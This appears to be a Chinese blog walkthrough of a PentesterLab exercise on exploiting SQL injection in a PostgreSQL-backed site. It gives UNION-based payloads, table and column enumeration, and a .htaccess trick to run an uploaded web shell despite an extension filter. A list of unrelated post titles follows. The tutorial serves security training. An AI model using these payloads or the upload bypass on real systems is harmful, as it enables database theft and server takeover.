FROM SQL INJECTION TO SHELL:

POSTGRESQL EDITION

这里先介绍一下POSTGRESQL。这是一款数据库管理系统,与oracle是同类型软件。08年左右的市场占有率为8%。

上图为ITPUB社区开源数据库使用状况调查

探测SQL注入

本关可以说是FROM SQL INJECTION TO SHELL 这关的延续。建议先通过之前的关。

这关基本上和FROM SQL INJECTION TO SHELL是类似的。共同的部分就不再介绍了。

这关的错误代码发生了变化

利用SQL注入

攻击方法还是用UNION和ORDER BY两种

SELECT id,name,price FROM

articles where id=1 UNION SELECT 1

SELECT id,name,price FROM

articles where id=1 UNION SELECT1,2

SELECT id,name,price FROM

articles where id=1 UNION SELECT 1,2,3

这里三种情况都有报错,但第三种情况报的错会不同。报错提示是数据类型不匹配。

再试试ORDER BY。这里很容易试出字段数量。超出查询字段数量,提示如下

检索信息

从上一步的UNION我们看到提示是数据类型不匹配,把数字改变成null试下。

1 UNION SELECT

‘aaaa‘,null,null,null

结果没有报错

我们再尝试下面几种情况

1 UNION SELECT ‘aaaa‘,null,null,null

1 UNION SELECT null,‘aaaa‘,null,null

1 union select

null,null,‘aaaa‘,null

1 union select

null,null,null,‘aaaa‘

发现第2和3

个没有报错,第1,4报数据类型不匹配。如果查看网页的HTML,会发现‘aaaa‘存在于

我们采用第2个进行构建语句,查询version(),current_user,current_database()

我注意到这里的函数与上一关的略有点不同,上一关的是version(),current_user(),current_database()

这是因为上一关的数据库是MYSQL。

接下来,我们尝试获取当前数据库的表名和字段。方法和MYSQL的类似。POSTGRESQL也有一个meta-information数据库,我们可以构建语句查询

查询表名:SELECT tablename FROM pg_tables

查询所有字段:

SELECT column_name FROM

information_schema.columns

结合到实例中:

1 UNION SELECT

null,tablename,null,null FROM pg_tables

1 UNION SELECT

null,column_name,null,null FROM information_schema.columns

同时取得字段和对应的表名

1 UNION SELECT null,

table_name, column_name,null,null FROM information_schema.columns

1 UNION SELECT

null,table_name||‘:‘|| column_name,null,null FROM information_schema.columns.

上一关是用contact函数,而这个数据库不能用。

从结果中找到用户表USERS和它的字段

查出密码再解密还原。

登陆账号,注入文件

这里开始是本关的难点。

上一关用.php3就混过关, 这次又被过滤了。经尝试,只要带php的,统统被过滤。

这次要引入 .htaccess文件

这个文件很多妙用,它与windows的autorun.inf有点类似。请查看百度百科

htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法,

即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,

以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

.htaccess文件的内容如下,意思是增加一种php模块执行的后缀。blah后缀不太可能被过滤掉。

特别注意下".htaccess"不是后缀,在windows图形界面下是难重命名成这个名字,需要DOS下改。

再把shell.php3更名为shell.blah,上传这两个到服务器。神奇的事就发生了。

原文:http://www.cnblogs.com/pentesterlab-beginner/p/3644398.html

from injection shell sql to_FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION相关推荐

  1. Oracle Caused by: java.sql.SQLException: sql injection violation, syntax error: syntax error, expect

    参考:https://blog.csdn.net/qq_36326332/article/details/102938147 https://blog.csdn.net/fly_captain/art ...

  2. java todo error_java.sql.SQLException: sql injection violation, syntax error: TODO UNIQUE unique

    @wenshao 你好,想跟你请教个问题: 我是在用activiti工作流的时候  初始化生成流程表产生了下面的问题 工作流引擎代码: ProcessEngineConfiguration confi ...

  3. 使用Mybatis时由于粗心遇到Cause: java.sql.SQLException: sql injection violation异常

    使用Mybatis插入数据时,由于粗心书写错误导致出现Cause: java.sql.SQLException: sql injection violation异常,SQL语句如下: <inse ...

  4. 解决 Error querying database. Cause: java.sql.SQLException: sql injection violation....

    解决 Error querying database. Cause: java.sql.SQLException: sql injection violation- 最近在开发的时候老板的需求就是将模 ...

  5. SQL注入(Injection)简介

    SQL注入(Injection)简介 SQL注入(SQL injection),是发生于应用程序与数据库层的安全漏洞.只要是支持处理SQL指令的数据库服务器,都有可能受到此种手法的攻击. SQL注入产 ...

  6. SQL语句利用日志写shell

    outfile被禁止,或者写入文件被拦截: 在数据库中操作如下:(必须是root权限) show variables like '%general%'; #查看配置 set global genera ...

  7. 基于sparksql调用shell脚本运行SQL

    [Author]: kwu 基于sparksql调用shell脚本运行SQL,sparksql提供了类似hive中的 -e  , -f ,-i的选项 1.定时调用脚本 #!/bin/sh # uplo ...

  8. oracle 批量 重建索引,Oracle重建索引Shell脚本、SQL脚本分享

    索引是提高数据库查询性能的有力武器.没有索引,就好比图书馆没有图书标签一样,找一本书自己想要的书比登天还难.然而索引在使用的过程中,尤其是在批量的DML的情形下会产生相应的碎片,以及B树高度会发生相应 ...

  9. beeline执行sql文件_【SparkSQL】介绍、与Hive整合、Spark的th/beeline/jdbc/thriftserve2、shell方式使用SQL...

    目录 一.Spark SQL介绍 SQL on Hadoop框架: 1)Spark SQL 2)Hive 3)Impala 4)Phoenix Spark SQL是用来处理离线数据的,他的编程模型是D ...

最新文章

  1. 区块链从一夜暴富到一夜暴“负”的辛酸史
  2. 如何撰写将赢得客户青睐的自由职业者提案和免费模板
  3. mac 安装Android sdk以便开展appium android自动化测试
  4. 只需3步,即可将你的Chromium Edge 浏览器设置成中文
  5. ASSERT(0) 详解
  6. 一个完整的软件项目开发流程,软件过程,软件生命周期
  7. vb杨辉三角代码编写_如何用VB编程输出杨辉三角?
  8. Tensorflow多输入模型构建以及Dataset数据构建
  9. 「查漏补缺」2020 截止9月2日 秋招前端面试经历 (已整理答案)
  10. 记参加Microsoft Ignite 大会和北京CSDN创作者之夜
  11. 玩转树莓派二、树莓派配置工具 raspi-config 使用指南
  12. CMD常用命令大全(old)
  13. Go语言slice详解
  14. 嫉妒(译本)--- 作者:弗兰西斯•培根
  15. 怎样使用更新域计算机,如何使用Word快捷键来输入当前时间和更新时间域?
  16. vue屏幕长宽自适应
  17. 一些RGB色差度量公式
  18. 泰山OFFICE技术讲座:字符宽度、中文标宽、字符间距
  19. 4.2.11 Flink-流处理框架-Table API 与 SQL-函数(Functions)之用户自定义函数 UDF
  20. 支持向量机分类示例python_分类算法-支持向量机 SVM

热门文章

  1. 基于SURF特征的目标检测
  2. VS2013的一些常用快捷键
  3. ARM处理器寄存器和汇编指令系统
  4. Bailian2764 数根(POJ NOI0113-50)【数论】
  5. Bailian4096 信号转换【密码】
  6. 51Nod-1182 完美字符串【排序+字符统计】
  7. 维纳过程(Wiener Process)与高斯过程(Gaussian Process)
  8. 一题多解(八)—— 矩阵上三角(下三角)的访问
  9. C Tricks(四)—— 从数组中随机选择一个元素
  10. hadoop 命令行相关操作